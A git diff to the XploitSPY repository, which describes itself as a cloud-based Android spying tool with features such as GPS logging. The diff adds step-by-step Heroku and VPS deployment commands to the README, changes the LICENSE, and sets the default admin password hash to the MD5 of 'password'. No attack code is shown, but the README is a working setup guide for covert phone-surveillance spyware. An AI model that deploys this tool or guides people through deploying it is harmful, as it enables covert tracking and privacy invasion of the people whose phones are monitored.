diff --git a/LICENSE b/LICENSE index 6ce762d..afb23af 100644 --- a/LICENSE +++ b/LICENSE @@ -1,8 +1,11 @@ The MIT License (MIT) + -Copyright (c) 2019 ETechD +Copyright (c) 2019 ETechD & XploitWizer + +NOTE : MIT License of these codes comes with Sub-License of XploitWizer Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: diff --git a/README.md b/README.md index 5353df2..a20eb04 100644 --- a/README.md +++ b/README.md @@ -3,6 +3,7 @@ A cloud based Android Spying or Monitoring Tool, powered by NodeJS

+NOTE: Read all steps carefully to setup XploitSPY as we keep changing them as per need ## Features - GPS Logging @@ -26,10 +27,44 @@ A cloud based Android Spying or Monitoring Tool, powered by NodeJS - NodeJs - A Server -## Installation on Heroku [Click Here](https://github.com/XploitWizer/XploitSPY/blob/herooku/README.md) +## Installation on Heroku + Video Tutorial for Heroku [Click Here](https://youtu.be/IoJGFZWCPko) + +0. Create a Account on [Heroku](https://heroku.com) + +1. Click `Create New App` in Heroku Dashboard + +2. Enter App Name and click on create app + +3. Now install Heroku CLI on your Computer [Instuctions](https://devcenter.heroku.com/articles/heroku-cli) + +4. Now open your terminal and run command ` git clone https://github.com/XploitWizer/XploitSPY ` + +5. It will download Latest codes for you in your PC + +6. Now change the directory to XploitSPY using command `cd XploitSPY` + +7. Now Login into Heroku CLI using command ` heroku login -i` now enter your login details and hit Enter + +8. After Login run this command in terminal ` heroku git:remote -a appName` here appName will be your app's name that you choose while creating the app. + +9. Now run follow commands in termial to install packages + + - ` heroku buildpacks:add heroku/jvm` + +then run + + - ` heroku buildpacks:add heroku/nodejs` + +10. Now run this command in your terminal ` git push heroku master`, if updating existing app or face any error run this command ` git push -f heroku master` +1 +11. All done now it will take time to complete, after that you can visit your domain shown in terminal. + + + ## Installation on VPS or Server Video Tutorial for VPS or Server [Click Here](https://youtu.be/6bRs7-0AD04) @@ -52,23 +87,16 @@ A cloud based Android Spying or Monitoring Tool, powered by NodeJS 4. Clone this repository - `git clone https://github.com/XploitWizer/XploitSPY.git` -5. Now change to the server directory and run these commands +5. Now change to the server directory and run these commands - `npm install` <- install dependencies - - `pm2 start index.js` <-- start the script - - `pm2 startup` <- to run XploitSPY on startup + - `sudo pm2 start index.js` <-- start the script + - `sudo pm2 startup` <- to run XploitSPY on startup 6. Default Username : admin & Default Password : password -7. Change the Username & Password - 1. Stop XploitSPY `pm2 stop index` - 2. Open `maindb.json` in a text editor - 3. under `admin` - - set the `username` as plain text - - set the `password` as a LOWERCASE MD5 hash - 4. save the file - 5. run `pm2 restart all` +7. In your browser navigate to `http://` -8. in your browser navigate to `http://:22533` +NOTE : XploitSPY now works only on port 80 for both web and client It's recommended to run XploitSPY behind a reverse proxy such as [NGINX](https://www.nginx.com/resources/wiki/start/topics/tutorials/install/) diff --git a/server/maindb.json b/server/maindb.json index 0d6bfff..e5a346f 100644 --- a/server/maindb.json +++ b/server/maindb.json @@ -1,68 +1,13 @@ { "admin": { "username": "admin", - "password": "ffe553694f5096471590343432359e02", + "password": "5f4dcc3b5aa765d61d8327deb882cf99", "loginToken": "97d5d9887360786b09e7ff89df307e72", "logs": [ { "time": "2020-01-11T15:23:07.971Z", "type": "SUCCESS", "message": "Build Succeded!" - }, - { - "time": "2020-01-11T15:27:32.586Z", - "type": "SUCCESS", - "message": "Build Succeded!" - }, - { - "time": "2020-01-11T16:08:04.582Z", - "type": "SUCCESS", - "message": "Build Succeded!" - }, - { - "time": "2020-03-22T16:24:09.546Z", - "type": "SUCCESS", - "message": "Build Succeded!" - }, - { - "time": "2020-03-22T16:53:31.032Z", - "type": "SUCCESS", - "message": "Build Succeded!" - }, - { - "time": "2020-03-22T18:01:07.951Z", - "type": "SUCCESS", - "message": "Build Succeded!" - }, - { - "time": "2020-03-22T18:02:03.352Z", - "type": "SUCCESS", - "message": "Build Succeded!" - }, - { - "time": "2020-03-22T20:20:58.216Z", - "type": "SUCCESS", - "message": "Build Succeded!" - }, - { - "time": "2020-03-22T20:22:08.417Z", - "type": "SUCCESS", - "message": "Build Succeded!" - }, - { - "time": "2020-03-23T04:57:13.758Z", - "type": "SUCCESS", - "message": "Build Succeded!" - }, - { - "time": "2020-03-23T04:59:46.252Z", - "type": "SUCCESS", - "message": "Build Succeded!" - }, - { - "time": "2020-04-07T21:03:16.469Z", - "type": "SUCCESS", - "message": "Build Succeded!" } ], "ipLog": []